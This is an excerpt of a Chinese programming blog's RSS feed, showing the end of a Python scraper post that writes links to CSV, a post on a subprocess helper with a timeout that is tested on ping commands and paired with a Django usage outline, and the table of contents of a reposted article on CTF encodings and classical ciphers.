    &lt;span class=&quot;n&quot;&gt;datas&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;#datas[0]=[&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;]
&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;#追加写入，末尾添加
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;C:/Users/user/Desktop/table/gettable.csv&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'a+'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;newline&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;writer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;csv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;writer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;writer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;writerow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{name}&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tablename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)])&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;row&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datas&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        	&lt;span class=&quot;n&quot;&gt;writer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;writerow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;#按行添加
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;writer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;writerow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;' '&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
 
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'__main__'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;check_link&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Fri, 28 Dec 2018 00:00:00 +0000</pubDate>
        <link>https://hannoch.github.io/2018/12/28/cookie/</link>
        <guid isPermaLink="true">https://hannoch.github.io/2018/12/28/cookie/</guid>
        
        <category>Python</category>
        
        
        <category>Python</category>
        
        <category>cookie</category>
        
        <category>登录</category>
        
        <category>爬虫</category>
        
      </item>
    
      <item>
        <title>python3 获得shell的交互(subprocess)</title>
        <description>&lt;h1 id=&quot;使用python-subprocess设计一个函数&quot;&gt;使用Python subprocess设计一个函数&lt;/h1&gt;
使用Python subprocess设计一个函数
要求：
1.函数的参数1是要执行的命令行，参数2是超时时间，单位为秒；
2.函数功能为执行参数1的命令行，不能阻塞；
3.设计函数的返回值，方便调用者。

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;c1&quot;&gt;#python3
# -*- coding: utf-8 -*-
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;subprocess&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;
 
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;TimeoutError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;
 
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;excuteCmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;#src = raw_input(unicode(&quot;请输入源文件完整路径及文件名： &quot;, 'utf-8').encode('gbk'))
&lt;/span&gt;	&lt;span class=&quot;c1&quot;&gt;#dst = raw_input(unicode(&quot;请输入目标文件完整路径及文件名： &quot;,'utf-8').encode('gbk'))
&lt;/span&gt;	&lt;span class=&quot;c1&quot;&gt;#cmd = 'copy &quot;%s&quot; &quot;%s&quot;'%(src,dst)
&lt;/span&gt;	&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Popen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shell&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	
	&lt;span class=&quot;n&quot;&gt;beginTime&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;secondsPass&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
	
	&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;poll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;secondsPass&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;beginTime&lt;/span&gt;
		
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;secondsPass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;terminate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;u&quot;超时!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
	
		&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
	
        &lt;span class=&quot;c1&quot;&gt;#can't goto here
&lt;/span&gt;	&lt;span class=&quot;c1&quot;&gt;#return s.returncode
&lt;/span&gt;	
 
&lt;span class=&quot;c1&quot;&gt;#main function
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'__main__'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;test1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;excuteCmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ping www.baidu.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;test2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;excuteCmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;echo start &amp;amp;&amp;amp; ping -n 10 127.0.0.1 &amp;gt; nul &amp;amp;&amp;amp; echo done &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;TimeoutError&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;django-中应用思路&quot;&gt;Django 中应用思路&lt;/h1&gt;

1、在模版中写一个表单form, 表单action 中填写路径。

2、根据表单action中的路径，通过urls 路由映射到视图views。

3、在views 中得到post 数据，用subprocess 调用执行*.py 代码，将返回值推送到模版。

4、希望脚本的输出能实时显示在页面则用ajax 或websocket
</description>
        <pubDate>Tue, 25 Dec 2018 00:00:00 +0000</pubDate>
        <link>https://hannoch.github.io/2018/12/25/subprocess/</link>
        <guid isPermaLink="true">https://hannoch.github.io/2018/12/25/subprocess/</guid>
        
        <category>Python</category>
        
        
        <category>subprocess</category>
        
      </item>
    
      <item>
        <title>CTF中那些脑洞大开的编码和加密</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#0x00-前言&quot; id=&quot;markdown-toc-0x00-前言&quot;&gt;0x00 前言&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#0x02-正文&quot; id=&quot;markdown-toc-0x02-正文&quot;&gt;0x02 正文&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#常见编码&quot; id=&quot;markdown-toc-常见编码&quot;&gt;常见编码&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#1ascii编码&quot; id=&quot;markdown-toc-1ascii编码&quot;&gt;1.ASCII编码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#2base643216编码&quot; id=&quot;markdown-toc-2base643216编码&quot;&gt;2.Base64/32/16编码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#3shellcode编码&quot; id=&quot;markdown-toc-3shellcode编码&quot;&gt;3.shellcode编码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#4quoted-printable-编码&quot; id=&quot;markdown-toc-4quoted-printable-编码&quot;&gt;4.Quoted-printable 编码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#5xxencode编码&quot; id=&quot;markdown-toc-5xxencode编码&quot;&gt;5.XXencode编码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#6uuencode编码&quot; id=&quot;markdown-toc-6uuencode编码&quot;&gt;6.UUencode编码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#7url编码&quot; id=&quot;markdown-toc-7url编码&quot;&gt;7.URL编码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#8unicode编码&quot; id=&quot;markdown-toc-8unicode编码&quot;&gt;8.Unicode编码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#9escapeunescape编码&quot; id=&quot;markdown-toc-9escapeunescape编码&quot;&gt;9.Escape/Unescape编码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#10html实体编码&quot; id=&quot;markdown-toc-10html实体编码&quot;&gt;10.HTML实体编码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#11敲击码&quot; id=&quot;markdown-toc-11敲击码&quot;&gt;11.敲击码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#12莫尔斯电码&quot; id=&quot;markdown-toc-12莫尔斯电码&quot;&gt;12.莫尔斯电码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#13编码的故事&quot; id=&quot;markdown-toc-13编码的故事&quot;&gt;13.编码的故事&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#换位加密&quot; id=&quot;markdown-toc-换位加密&quot;&gt;换位加密&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#1栅栏密码&quot; id=&quot;markdown-toc-1栅栏密码&quot;&gt;1.栅栏密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#2曲路密码&quot; id=&quot;markdown-toc-2曲路密码&quot;&gt;2.曲路密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#3列移位密码&quot; id=&quot;markdown-toc-3列移位密码&quot;&gt;3.列移位密码&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#替换加密&quot; id=&quot;markdown-toc-替换加密&quot;&gt;替换加密&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#1埃特巴什码&quot; id=&quot;markdown-toc-1埃特巴什码&quot;&gt;1.埃特巴什码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#2凯撒密码&quot; id=&quot;markdown-toc-2凯撒密码&quot;&gt;2.凯撒密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#3rot5131847&quot; id=&quot;markdown-toc-3rot5131847&quot;&gt;3.ROT5/13/18/47&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#4简单替换密码&quot; id=&quot;markdown-toc-4简单替换密码&quot;&gt;4.简单替换密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#5希尔密码&quot; id=&quot;markdown-toc-5希尔密码&quot;&gt;5.希尔密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#6猪圈密码&quot; id=&quot;markdown-toc-6猪圈密码&quot;&gt;6.猪圈密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#7波利比奥斯方阵密码&quot; id=&quot;markdown-toc-7波利比奥斯方阵密码&quot;&gt;7.波利比奥斯方阵密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#8夏多密码曲折加密&quot; id=&quot;markdown-toc-8夏多密码曲折加密&quot;&gt;8.夏多密码(曲折加密)&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#9普莱菲尔密码&quot; id=&quot;markdown-toc-9普莱菲尔密码&quot;&gt;9.普莱菲尔密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#10维吉尼亚密码&quot; id=&quot;markdown-toc-10维吉尼亚密码&quot;&gt;10.维吉尼亚密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#11自动密钥密码&quot; id=&quot;markdown-toc-11自动密钥密码&quot;&gt;11.自动密钥密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#12博福特密码&quot; id=&quot;markdown-toc-12博福特密码&quot;&gt;12.博福特密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#13滚动密钥密码&quot; id=&quot;markdown-toc-13滚动密钥密码&quot;&gt;13.滚动密钥密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#14porta密码&quot; id=&quot;markdown-toc-14porta密码&quot;&gt;14.Porta密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#15同音替换密码&quot; id=&quot;markdown-toc-15同音替换密码&quot;&gt;15.同音替换密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#16仿射密码&quot; id=&quot;markdown-toc-16仿射密码&quot;&gt;16.仿射密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#17培根密码&quot; id=&quot;markdown-toc-17培根密码&quot;&gt;17.培根密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#18adfgx和adfgvx密码&quot; id=&quot;markdown-toc-18adfgx和adfgvx密码&quot;&gt;18.ADFGX和ADFGVX密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#19双密码&quot; id=&quot;markdown-toc-19双密码&quot;&gt;19.双密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#20三分密码&quot; id=&quot;markdown-toc-20三分密码&quot;&gt;20.三分密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#21四方密码&quot; id=&quot;markdown-toc-21四方密码&quot;&gt;21.四方密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#22棋盘密码&quot; id=&quot;markdown-toc-22棋盘密码&quot;&gt;22.棋盘密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#23跨棋盘密码&quot; id=&quot;markdown-toc-23跨棋盘密码&quot;&gt;23.跨棋盘密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#24分组摩尔斯替换密码&quot; id=&quot;markdown-toc-24分组摩尔斯替换密码&quot;&gt;24.分组摩尔斯替换密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#25bazeries密码&quot; id=&quot;markdown-toc-25bazeries密码&quot;&gt;25.Bazeries密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#26digrafid密码&quot; id=&quot;markdown-toc-26digrafid密码&quot;&gt;26.Digrafid密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#27格朗普雷密码&quot; id=&quot;markdown-toc-27格朗普雷密码&quot;&gt;27.格朗普雷密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#28比尔密码&quot; id=&quot;markdown-toc-28比尔密码&quot;&gt;28.比尔密码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#29键盘密码&quot; id=&quot;markdown-toc-29键盘密码&quot;&gt;29.键盘密码&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#其他有趣的机械密码&quot; id=&quot;markdown-toc-其他有趣的机械密码&quot;&gt;其他有趣的机械密码&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#1恩尼格玛密码&quot; id=&quot;markdown-toc-1恩尼格玛密码&quot;&gt;1.恩尼格玛密码&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#代码混淆加密&quot; id=&quot;markdown-toc-代码混淆加密&quot;&gt;代码混淆加密&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#1-asp混淆加密&quot; id=&quot;markdown-toc-1-asp混淆加密&quot;&gt;1. asp混淆加密&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#2-php-language混淆加密&quot; id=&quot;markdown-toc-2-php-language混淆加密&quot;&gt;2. php language=”混淆加密”&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#3-css-languagejs混淆加密&quot; id=&quot;markdown-toc-3-css-languagejs混淆加密&quot;&gt;3. css language=”/js混淆加密”&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#4-vbscriptencode混淆加密&quot; id=&quot;markdown-toc-4-vbscriptencode混淆加密&quot;&gt;4. VBScript.Encode混淆加密&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#5ppencode&quot; id=&quot;markdown-toc-5ppencode&quot;&gt;5.ppencode&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#6rrencode&quot; id=&quot;markdown-toc-6rrencode&quot;&gt;6.rrencode&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#7jjencodeaaencode&quot; id=&quot;markdown-toc-7jjencodeaaencode&quot;&gt;7.jjencode/aaencode&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#8jsfuck&quot; id=&quot;markdown-toc-8jsfuck&quot;&gt;8.JSfuck&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#9jother&quot; id=&quot;markdown-toc-9jother&quot;&gt;9.jother&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#10brainfuck&quot; id=&quot;markdown-toc-10brainfuck&quot;&gt;10.brainfuck&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

原文：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://blog.neargle.com/SecNewsBak/drops/CTF%E4%B8%AD%E9%82%A3%E4%BA%9B%E8%84%91%E6%B4%9E%E5%A4%A7%E5%BC%80%E7%9A%84%E7%BC%96%E7%A0%81%E5%92%8C%E5%8A%A0%E5%AF%86%20.html&lt;/code&gt;
&lt;h1 id=&quot;0x00-前言&quot;&gt;0x00 前言&lt;/h1&gt;
